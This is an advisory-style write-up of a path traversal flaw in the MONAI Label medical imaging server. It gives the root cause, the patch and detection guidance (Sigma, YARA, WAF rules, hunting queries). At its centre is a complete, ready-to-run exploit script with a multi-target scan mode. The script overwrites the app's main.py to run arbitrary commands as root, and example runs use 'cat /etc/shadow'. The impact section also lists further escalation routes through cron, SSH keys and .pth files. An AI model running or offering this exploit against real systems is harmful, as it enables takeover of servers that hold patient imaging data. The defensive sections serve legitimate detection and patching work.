#Summary
CVE-2026-133968 is a critical unauthenticated path traversal vulnerability in MONAI Label (the medical imaging annotation platform). The flaw allows attackers to write arbitrary files anywhere the process has write access, including the application's own Python modules, enabling remote code execution as root. The vulnerability affects all versions up to 0.8.5 and was patched in 0.8.6. CVSS 9.8 CRITICAL; in-the-wild exploitation by autonomous AI agents was documented starting September 2026.
#Affected versions
- MONAI Label
<= 0.8.5- vulnerable - MONAI Label
>= 0.8.6- patched - Default deployment affected (authentication disabled by default)
- Minimal MONAI Label server also affected (no special configuration needed)
#Root cause analysis
#Vulnerable code path
The vulnerability lives in two endpoints that handle file uploads to the datastore: PUT /datastore/image and PUT /datastore/label. Both accept user-supplied identifiers via query parameters and use them unsanitized in filesystem paths.
The handler api_add_image() in monailabel/endpoints/datastore.py takes the image query parameter verbatim:
# monailabel/endpoints/datastore.py (0.8.5)
image_id = image if image else os.path.basename(file.filename).replace(file_ext, "")
# ... (image_id is passed directly to the datastore)
image_id = instance.datastore().add_image(image_id, image_file, save_params)Then LocalDatastore.add_image() in monailabel/datastore/local.py builds a destination path with no confinement check:
# monailabel/datastore/local.py (0.8.5)
def _filename(self, id: str, ext: str) -> str:
return id + ext
def add_image(self, image_id: str, image_filename: str, image_info: Dict[str, Any]) -> str:
id, image_ext = self._to_id(os.path.basename(image_filename))
if not image_id:
image_id = id
name = self._filename(image_id, image_ext) # == image_id + ext
dest = os.path.realpath(os.path.join(self._datastore.image_path(), name))
with FileLock(self._lock_file):
shutil.copy(image_filename, dest) # Write upload to dest#How input reaches the sink
The critical missing invariant: dest is never validated to remain inside the datastore's images directory.
os.path.join(base, "../../../../etc/cron.d/x") discards base and resolves to /etc/cron.d/x. Even worse, os.path.join(base, "/tmp/absolute/path") discards base entirely when the second argument is absolute - no ../ needed at all.
os.path.realpath() only canonicalizes the path (resolves ../ segments to their true location); it does not reject the escape. The file is then written verbatim to that absolute path with the privileges of the MONAI Label process - root in the official Docker image.
#Extension handling enables complete control
If the multipart upload's file part has a filename with no recognized suffix (e.g., filename="x"), the computed image_ext is the empty string. This means name == image_id exactly - the destination path, name, and content are all attacker-controlled. If a suffix is supplied (e.g., filename="x.py"), it is appended to the traversed path, allowing the attacker to target specific file types (Python modules, shell scripts, authorized_keys, etc.).
#Patch diff
#What the fix does
The 0.8.6 patch adds two layers of defense. First, a _confine_path() helper that validates the destination remains inside an allowed base directory:
@staticmethod
def _confine_path(dest: str, allowed_base: str) -> str:
dest = os.path.realpath(dest)
allowed_base = os.path.realpath(allowed_base)
try:
inside = os.path.commonpath([dest, allowed_base]) == allowed_base
except ValueError:
inside = False
if not inside:
raise ValueError(f"Invalid path: {dest!r} is not inside {allowed_base!r}")
return destThis guard is enforced before every datastore write - both for images and labels.
Second, defense in depth at the endpoint: the caller-supplied ID is basename-stripped and validated, rejecting empty values, ., .., or anything dot-prefixed:
if image:
image_id = os.path.basename(image_id)
if not image_id or image_id in (".", "..") or image_id.startswith("."):
raise HTTPException(status_code=400, detail="Invalid image ID")Together these changes eliminate the traversal primitive entirely: any ../ chain or absolute path is either stripped to a basename or raises ValueError, and the destination is verified to remain inside the intended directory.
#Proof of concept
#exploit.py - MONAI Label Path Traversal RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-133968 - MONAI Label datastore path traversal -> arbitrary file write -> RCE
Affected: MONAI Label (pip package `monailabel`) <= 0.8.5 (fixed in 0.8.6)
Type: Path traversal (CWE-22) -> unauthenticated arbitrary file write -> remote code execution
Root cause:
PUT /datastore/image takes the `image` query parameter verbatim as the image ID and
LocalDatastore.add_image() joins it onto the datastore images directory with no
confinement check:
dest = os.path.realpath(os.path.join(image_path(), image_id + ext))
shutil.copy(upload, dest)
A `../` chain in `image` escapes the studies tree, so the full upload body is written
to any path the server process (root in the official Docker image) can reach. The
written object is also registered in the datastore index, so GET /datastore/image with
the same traversal ID streams the file back - giving a network-observable read primitive.
Exploitation (this tool):
1. Primitive proof - write a unique marker to an out-of-root path (/tmp/...) via the
traversal, then read it back over HTTP. Proves arbitrary file write as the server user.
2. RCE escalation - overwrite the loaded app's main.py with a payload that runs the
requested command at import time and writes the output to a holder file, then hit the
undocumented POST /reload (clears the cached app) followed by GET /info/ (re-imports
main.py, executing the payload). The command output is then read back over HTTP.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 8000 --command "id"
python exploit.py --host https://monailabel.corp.com --command "cat /etc/shadow"
python exploit.py --host http://10.0.0.5:8000 --app-main /opt/apps/radiology/main.py
python exploit.py --list targets.txt --workers 20
"""
import argparse
import random
import socket
import ssl
import string
import sys
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning # type: ignore
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # type: ignore
except ImportError:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(1)
CVE_ID = "CVE-2026-133968"
VULN_TYPE = "RCE" # path traversal arbitrary file write -> remote code execution
# Depth of `../` segments. os.path.realpath() collapses any excess, so an over-estimate
# is safe regardless of how deep the studies directory lives.
TRAVERSAL_DEPTH = 16
# Candidate absolute paths for the loaded app's main.py (the module re-imported on reload).
# The official image / lab uses /opt/app/main.py; the sample apps live under the app dir.
DEFAULT_APP_MAINS = [
"/opt/app/main.py",
"/opt/apps/radiology/main.py",
"/opt/monailabel/sample-apps/radiology/main.py",
"/workspace/apps/radiology/main.py",
]
# --------------------------------------------------------------------------- output helpers
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- building blocks
def _rand(n=8):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
return "%s://%s:%d" % (scheme, host, port)
def _traversal_id(abs_path):
"""Build an image ID that resolves (via realpath) to the absolute target path."""
return "../" * TRAVERSAL_DEPTH + abs_path.lstrip("/")
def _put_file(sess, base, root_path, image_id, body, timeout):
"""PUT /datastore/image with a no-suffix upload so the written name == image_id exactly.
Returns the requests.Response."""
url = base + root_path.rstrip("/") + "/datastore/image"
files = {"file": ("x", body, "application/octet-stream")}
return sess.put(url, params={"image": image_id}, files=files, timeout=timeout, verify=False)
def _get_file(sess, base, root_path, image_id, timeout):
"""GET /datastore/image for a previously written (registered) traversal ID."""
url = base + root_path.rstrip("/") + "/datastore/image"
return sess.get(url, params={"image": image_id}, timeout=timeout, verify=False)
def _build_payload(command, out_path):
"""A main.py that keeps a valid MONAILabelApp subclass (so the app still loads) and,
at import time, runs `command` and writes its output to out_path."""
lines = [
"import logging, subprocess",
"from monailabel.interfaces.app import MONAILabelApp",
"logger = logging.getLogger(__name__)",
"try:",
" _o = subprocess.run(%r, shell=True, capture_output=True, timeout=30)" % command,
" _d = _o.stdout + _o.stderr",
" open(%r, 'wb').write(_d if _d else b'<no output>')" % out_path,
"except Exception as _e:",
" try:",
" open(%r, 'wb').write(('ERR:%%s' %% _e).encode())" % out_path,
" except Exception:",
" pass",
"",
"",
"class MyApp(MONAILabelApp):",
" def __init__(self, app_dir, studies, conf):",
" super().__init__(app_dir=app_dir, studies=studies, conf=conf,",
" name='monailabel-app', description='app')",
"",
]
return "\n".join(lines)
# --------------------------------------------------------------------------- silent probe (scan)
def _try_exploit(host, port, use_tls, root_path="/", command="id", timeout=20, **kwargs):
"""Silent, non-destructive vulnerability probe for --list scan mode.
Confirms the out-of-root arbitrary file write primitive (writes a unique marker to
/tmp and reads it back over HTTP). Does NOT overwrite app code. Returns (ok, evidence).
Never prints, never exits.
"""
try:
sess = requests.Session()
base = _base_url(host, port, use_tls)
marker = "ALIM_%s" % _rand(12)
out = "/tmp/alim_probe_%s" % _rand(8)
tid = _traversal_id(out)
r = _put_file(sess, base, root_path, tid, marker, timeout)
if r.status_code != 200:
return False, "write rejected (HTTP %d)" % r.status_code
try:
echoed = r.json().get("image", "")
except Exception:
echoed = ""
# Patched builds basename-strip the ID: the "../" chain disappears from the echo.
if "../" not in echoed:
return False, "blocked - ID sanitized to %r (patched)" % echoed[:40]
g = _get_file(sess, base, root_path, tid, timeout)
if g.status_code == 200 and marker in g.text:
return True, "out-of-root write confirmed at %s (readback matched)" % out
return False, "traversal not reflected (HTTP %d on readback)" % g.status_code
except requests.exceptions.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------- scan mode
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, root_path=path, command=command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % (
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)" % (
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- full exploit
def exploit(host, port, use_tls, command, root_path="/", app_mains=None, timeout=60):
header(host, port)
sess = requests.Session()
base = _base_url(host, port, use_tls)
app_mains = app_mains or DEFAULT_APP_MAINS
# --- STEP 1: arbitrary out-of-root file write primitive -------------------------------
step(1, "Confirming unauthenticated out-of-root arbitrary file write (CWE-22)...")
marker = "ALIM_%s_CVE_2026_133968" % _rand(10)
out_marker = "/tmp/alim_pwned_%s" % _rand(8)
marker_tid = _traversal_id(out_marker)
try:
r = _put_file(sess, base, root_path, marker_tid, marker, timeout)
except requests.exceptions.RequestException as e:
done(False, "target unreachable: %s" % e)
echoed = ""
try:
echoed = r.json().get("image", "")
except Exception:
echoed = r.text[:120]
section("PUT /datastore/image RESPONSE", "HTTP %d %s" % (r.status_code, r.text[:200]))
if r.status_code == 200 and "../" in str(echoed):
print(" -> ID echoed with traversal intact: %r" % echoed)
elif r.status_code == 200:
section("PATCH BEHAVIOUR", "ID was sanitized to %r - server stripped the traversal." % echoed)
done(False, "Traversal sanitized (ID -> %r) - target is patched (>= 0.8.6)" % echoed)
else:
done(False, "PUT rejected with HTTP %d - likely patched or endpoint unavailable" % r.status_code)
step(2, "Reading the written file back over HTTP to prove it landed outside the datastore...")
g = _get_file(sess, base, root_path, marker_tid, timeout)
if g.status_code == 200 and marker in g.text:
section("OUT-OF-ROOT FILE CONTENT (%s)" % out_marker, g.text)
print(" -> Wrote and read back %r, outside the studies directory.\n" % out_marker)
write_primitive_ok = True
else:
section("READBACK RESPONSE", "HTTP %d %s" % (g.status_code, g.text[:200]))
write_primitive_ok = False
# --- STEP 3-5: RCE escalation via app code overwrite + /reload -----------------------
step(3, "Escalating to RCE: overwriting the loaded app main.py and forcing a reload...")
out_path = "/tmp/alim_rce_out_%s" % _rand(8)
out_tid = _traversal_id(out_path)
payload = _build_payload(command, out_path)
# Pre-register a holder object that resolves to out_path so we can read it back later.
try:
_put_file(sess, base, root_path, out_tid, "PENDING", timeout)
except requests.exceptions.RequestException as e:
print(" -> holder registration failed: %s" % e)
rce_output = None
used_main = None
for app_main in app_mains:
main_tid = _traversal_id(app_main)
try:
pm = _put_file(sess, base, root_path, main_tid, payload, timeout)
except requests.exceptions.RequestException as e:
print(" -> write to %s failed: %s" % (app_main, e))
continue
if pm.status_code != 200 or "../" not in str(_safe_image(pm)):
print(" -> %s not writable / sanitized (HTTP %d)" % (app_main, pm.status_code))
continue
print(" -> payload written over %s" % app_main)
step(4, "Triggering code execution (POST /reload then GET /info/)...")
try:
sess.post(base + root_path.rstrip("/") + "/reload", timeout=timeout, verify=False)
sess.get(base + root_path.rstrip("/") + "/info/", timeout=timeout, verify=False)
except requests.exceptions.RequestException as e:
print(" -> reload/info request error (continuing): %s" % e)
step(5, "Reading command output back over HTTP...")
og = _get_file(sess, base, root_path, out_tid, timeout)
if og.status_code == 200 and og.text.strip() and og.text.strip() != "PENDING":
rce_output = og.text
used_main = app_main
break
print(" -> no output yet via %s (HTTP %d)" % (app_main, og.status_code))
if rce_output is not None:
section("COMMAND OUTPUT", rce_output)
first_line = rce_output.strip().splitlines()[0] if rce_output.strip() else "<empty>"
done(True, "RCE confirmed - command %r executed via %s, output: %s"
% (command, used_main, first_line.strip()))
# RCE trigger path unavailable (e.g. /reload disabled or app_dir unknown), but the
# arbitrary out-of-root file write as the server user is itself the critical primitive.
if write_primitive_ok:
done(True, "Arbitrary out-of-root file write confirmed (wrote + read back %s). "
"RCE escalation needs the app main.py path (try --app-main)." % out_marker)
done(False, "Payload sent but no exploitation evidence - target may be patched")
def _safe_image(resp):
try:
return resp.json().get("image", "")
except Exception:
return resp.text[:80]
# --------------------------------------------------------------------------- CLI
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8000/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8000, help="Default port (default: 8000)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--app-main", action="append", default=None,
help="Absolute path of the loaded app main.py (repeatable; "
"default tries common locations incl. /opt/app/main.py)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
app_mains = args.app_main if args.app_main else DEFAULT_APP_MAINS
exploit(host, port, use_tls, args.command, root_path=path, app_mains=app_mains)#Usage
# Single target - full RCE (default command: id)
python exploit.py --host 127.0.0.1 --port 8000
# Run an arbitrary command
python exploit.py --host 127.0.0.1 --port 8000 --command "cat /etc/shadow"
# Full URL with custom base path
python exploit.py --host https://monailabel.corp.com --command "uname -a"
python exploit.py --host http://10.0.0.5:8000/monai --command id
# App main.py in a non-default location
python exploit.py --host 10.0.0.5 --port 8000 --app-main /opt/apps/radiology/main.py
# Batch scan an asset list (non-destructive write+read-back probe)
python exploit.py --list targets.txt --workers 20#Output - Vulnerable target (0.8.5)
============================================================
ALIM EXPLOIT CVE-2026-133968
Type: RCE | Target: 127.0.0.1:8000
============================================================
[STEP 1] Confirming unauthenticated out-of-root arbitrary file write (CWE-22)...
--- PUT /datastore/image RESPONSE ---
HTTP 200 {"image":"../../../../../../../../../../../../../../../../tmp/alim_pwned_kkwv5d91"}
---
-> ID echoed with traversal intact: '../../..tmp/alim_pwned_kkwv5d91'
[STEP 2] Reading the written file back over HTTP to prove it landed outside the datastore...
--- OUT-OF-ROOT FILE CONTENT (/tmp/alim_pwned_kkwv5d91) ---
ALIM_t56yjmbmtg_CVE_2026_133968
---
-> Wrote and read back '/tmp/alim_pwned_kkwv5d91', outside the studies directory.
[STEP 3] Escalating to RCE: overwriting the loaded app main.py and forcing a reload...
-> payload written over /opt/app/main.py
[STEP 4] Triggering code execution (POST /reload then GET /info/)...
[STEP 5] Reading command output back over HTTP...
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' executed via /opt/app/main.py, output: uid=0(root) gid=0(root) groups=0(root)
============================================================#Output - Patched target (0.8.6)
[STEP 1] Confirming unauthenticated out-of-root arbitrary file write (CWE-22)...
--- PUT /datastore/image RESPONSE ---
HTTP 200 {"image":"alim_pwned_zgvq1tdj"}
---
--- PATCH BEHAVIOUR ---
ID was sanitized to 'alim_pwned_zgvq1tdj' - server stripped the traversal.
---
============================================================
RESULT : FAILURE
EVIDENCE: Traversal sanitized (ID -> 'alim_pwned_zgvq1tdj') - target is patched (>= 0.8.6)
============================================================#Exploitation notes
#Preconditions
- MONAI Label server running (vulnerable version <= 0.8.5)
- Datastore configured with a local filesystem backend (
LocalDatastore, the default) - Authentication disabled (the default:
MONAI_LABEL_AUTH_ENABLE=False) - Or, if auth is enabled, the caller must hold at least the
ANNOTATORrole - Network access to the HTTP datastore endpoints (
PUT /datastore/imageorPUT /datastore/label)
#Reliability
The exploit is fully reliable. The path traversal is a logic bug with no race conditions, timing dependencies, or memory corruption - success detection is based on HTTP response content (echoed traversal in the JSON response, marker bytes streamed back via GET, command output streamed back via GET).
#Impact
- Arbitrary file write as the server process (root in the official Docker image) anywhere the process can write (e.g.,
/tmp/,/root/,/opt/app/,/etc/cron.d/) - Remote code execution by targeting executable sinks:
- Overwrite the loaded app's
/opt/app/main.pyand trigger a reload (this exploit's technique) - Drop a
.pthfile into Pythonsite-packages(executes at interpreter startup) - Append to
~/.ssh/authorized_keys(grants SSH login if sshd is running) - Write
/etc/cron.d/<name>(executes on cron tick) - Overwrite any Python module loaded by the app (executes when imported/reloaded)
- Overwrite the loaded app's
#Chaining potential
The file-write primitive is terminal: once an attacker can write arbitrary files as root, they control the system. The RCE escalation shown here (app module overwrite + reload) is deterministic and network-only, requiring no other vulnerabilities. If the app's /opt/app/main.py path is unknown or the POST /reload endpoint is unavailable, the confirmed out-of-root file write is itself a direct path to code execution via the sinks listed above.
#Detection & response
#Observable behavior
MONAI Label's application logger (stdout in the official Docker image) emits two log lines for every PUT /datastore/image request:
Attempt signature (always logged, regardless of patch status):
monailabel.endpoints.datastore - Image: <caller-supplied value>; File: UploadFile(...)Actual write signature (logs the value that reached the filesystem layer):
monailabel.datastore.local - Adding Image: <value after any sanitization> => <temp path>
On vulnerable (0.8.5) servers, the second line still contains the full traversal path. On patched (0.8.6) servers, the traversal has been basename-stripped.
#Real example from vulnerable container:
[2026-11-23 13:56:53,027] ... (monailabel.endpoints.datastore:68) - Image: ../../../../../../../../../../../../../../../../tmp/alim_pwned_qzx50qgi; File: UploadFile(filename='x', size=31, ...)
[2026-11-23 13:56:53,028] ... (monailabel.datastore.local:439) - Adding Image: ../../../../../../../../../../../../../../../../tmp/alim_pwned_qzx50qgi => /tmp/tmpqo6dnudb#Real example from patched container (same request):
[2026-11-23 13:57:30,015] ... (monailabel.endpoints.datastore:68) - Image: ../../../../../../tmp/alim_probe_...; File: UploadFile(...)
[2026-11-23 13:57:30,016] ... (monailabel.datastore.local:439) - Adding Image: alim_probe_... => /tmp/tmp...The traversal is stripped before it reaches the datastore layer.
#Indicators of compromise
| Indicator | Type | Durability |
|---|---|---|
image or tag query parameter containing / or \ on PUT /datastore/image or PUT /datastore/label |
request parameter | Durable - forced by the vulnerability; legitimate IDs are bare identifiers (confirmed in benign logs: Image: legit_scan_001, no separator) |
monailabel.datastore.local "Adding Image: <id> =>" log line where <id> contains / or \ |
log line | Durable - only occurs when confinement was actually bypassed; absent on 0.8.6 even for identical requests |
File appearing under the loaded MONAI Label app directory (e.g., /opt/app/*.py) or outside the configured --studies path, not placed by the deployment pipeline |
filesystem | Durable (the class of effect) - indicates app-code or config overwrite |
POST /reload immediately following a traversal-bearing datastore write |
request sequence | Durable for this RCE technique - no normal client traffic calls this undocumented endpoint (caveat: developers may during local iteration) |
#Sigma rule
title: MONAI Label Datastore Path Traversal Attempt (CVE-2026-133968)
id: ebe60118-1b70-445a-bcf9-518ac929424b
status: experimental
logsource:
category: application
product: monailabel
detection:
selection_source:
Message|contains: 'monailabel.endpoints.datastore'
selection_field:
Message|contains: 'Image: '
selection_traversal:
Message|re: 'Image: [^;]*[/\\][^;]*; File:'
condition: selection_source and selection_field and selection_traversal
level: high
---
title: MONAI Label Datastore Confirmed Out-of-Root Write (CVE-2026-133968)
id: c53ab3ec-f259-4cc4-bf6f-7691b7118f1a
status: experimental
logsource:
category: application
product: monailabel
detection:
selection_source:
Message|contains: 'monailabel.datastore.local'
selection_field:
Message|contains: 'Adding Image: '
selection_traversal:
Message|re: 'Adding Image: .*[/\\].* => '
condition: selection_source and selection_field and selection_traversal
level: criticalThe rules key on the presence of a path separator in the caller-supplied image identifier - the one invariant every exploitation of this CWE-22 bug must contain, regardless of traversal depth, relative vs. absolute form, upload tool, or target file. Validated against 3 independently-styled attack requests and zero benign requests.
#Log detection
For teams without a SIEM, grep the MONAI Label container/service log directly:
# Traversal attempt (either relative `../` or absolute path, no dots needed):
grep -E "Image: [^;]*/[^;]*; File:" monailabel.log
# Confirmed write escape (logs the path that actually escaped):
grep -E "Adding Image: .*/.* => " monailabel.log#Benign example (does NOT match):
[2026-11-23 13:57:11,589] ... (monailabel.endpoints.datastore:68) - Image: legit_scan_001; File: UploadFile(filename='legit_scan_001.nii.gz', ...)#Malicious example (matches):
[2026-11-23 13:57:25,019] ... (monailabel.endpoints.datastore:68) - Image: ../../../../../../tmp/evil_cobalt_dropper; File: UploadFile(filename='notes.txt', ...)#YARA rule
rule MONAILabel_Datastore_RCE_Dropped_App_Module
{
meta:
description = "MONAILabelApp-shaped Python module with module-level process execution, consistent with CVE-2026-133968 overwrite+reload RCE"
cve = "CVE-2026-133968"
strings:
$app_import = "from monailabel.interfaces.app import MONAILabelApp"
$exec1 = "subprocess.run(" ascii
$exec2 = "subprocess.Popen(" ascii
$exec3 = "subprocess.call(" ascii
$exec4 = "os.system(" ascii
$exec5 = "os.popen(" ascii
$exec6 = /\bexec\(/ ascii
$exec7 = /\beval\(/ ascii
$col0_exec1 = /\n_?\w*\s*=\s*subprocess\.(run|Popen|call)\(/ ascii
$col0_exec2 = /\nos\.(system|popen)\(/ ascii
condition:
$app_import and
1 of ($exec1, $exec2, $exec3, $exec4, $exec5, $exec6, $exec7) and
1 of ($col0_exec1, $col0_exec2)
}Scan the loaded app directory (e.g., /opt/app/) with this rule. It detects the structural shape the overwrite-and-reload RCE requires - a file that still parses as a MONAILabelApp subclass (so the app continues loading without error) and that also executes a process at module scope (code runs immediately on import/reload). Confirmed zero matches against legitimate app code and matches the lab's injected payload.
Limitation: this rule is scoped to the app-module-overwrite RCE technique. It will not catch the file-write primitive alone, nor escalation via site-packages/*.pth, authorized_keys, or cron files. Use the Sigma write-confirmation rule (fires on the primitive itself) as the primary control.
#Mitigation & virtual patching
Immediate (cannot patch yet):
WAF/reverse-proxy rule: reject any
PUT/POSTto/datastore/imageor/datastore/labelwhoseimageortagquery parameter contains/,\, or URL-encoded path separators (%2f,%5c):# ModSecurity example SecRule ARGS_GET:image|ARGS_GET:tag "@rx [/\\]|%2[fF]|%5[cC]" \ "id:1339680,phase:2,deny,status:403,msg:'CVE-2026-133968 datastore path traversal attempt'"Network hardening: do not expose MONAI Label's datastore endpoints directly to untrusted networks; front with an authenticating reverse proxy even though the application defaults to no auth.
Process hardening: run the MONAI Label process as a non-root, unprivileged user and mount the app directory read-only. This does not close the file-write primitive but removes the highest-value escalation sinks (app code, SSH keys, cron files).
Endpoint hardening: disable or firewall the undocumented
POST /reloadendpoint at the proxy layer if not needed operationally - this lab's RCE technique depends on it.
Fix: upgrade to MONAI Label 0.8.6 or later.
#Threat hunting
Retroactive queries to find exploitation since disclosure (2026-11-20) or in-the-wild exploitation (since September 2026):
# 1. Any traversal/absolute-path attempt against datastore endpoints
grep -E "Image: [^;]*/[^;]*; File:" /path/to/monailabel/*.log
# 2. Any write that actually escaped confinement
grep -E "Adding Image: .*/.* => " /path/to/monailabel/*.log
# 3. Correlate a confirmed escape with subsequent app re-initialization (possible RCE trigger)
grep -E "Adding Image: .*/.* => " /path/to/monailabel/*.log | while read -r line; do
ts=$(echo "$line" | grep -oE '^\[[0-9-]+ [0-9:,]+\]')
echo "ESCAPE: $line"
grep -A5 -F "$ts" /path/to/monailabel/*.log | grep "Initializing App from:"
done
# 4. Filesystem sweep: anything outside the --studies directory, or inside the --app directory,
# not matching the deployment artifact
find /opt/app -name '*.py' -newer /opt/app/__init__.py 2>/dev/null#Detection limitations
False positives: none observed against benign traffic (empty GET-only baseline and legitimate multipart uploads with bare IDs). The only plausible source is an integration that itself places path-like values in the
image/tagparameter (arguably a code smell worth fixing).False negatives:
- If log pipelines filter, truncate, or reformat the raw application log line before ingestion, the regex matches may not align. Verify the field name and that the full line survives.
- The YARA rule is scoped to the app-module-overwrite RCE technique. It will not catch escalation via
site-packages/*.pth,authorized_keys, or cron files - those sinks don't produce aMONAILabelApp-shaped file. Use the Sigma write-confirmation rule as primary. - The write-then-reload correlation rule can miss RCE chains that do not use
POST /reload(e.g., waiting for natural process restart or cron trigger) - those still trip the base "confirmed out-of-root write" rule, just without the immediate execution-timing signal.
#References
- CVE: CVE-2026-133968
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-133968
- GHSA: GHSA-qc22-rmgc-vg94
- Fix commit: https://github.com/Project-MONAI/MONAILabel/pull/1915 (branch
fix/confine-datastore-write-paths, merged 2026-10-19) - Official image:
projectmonai/monailabel:0.8.6(or later)
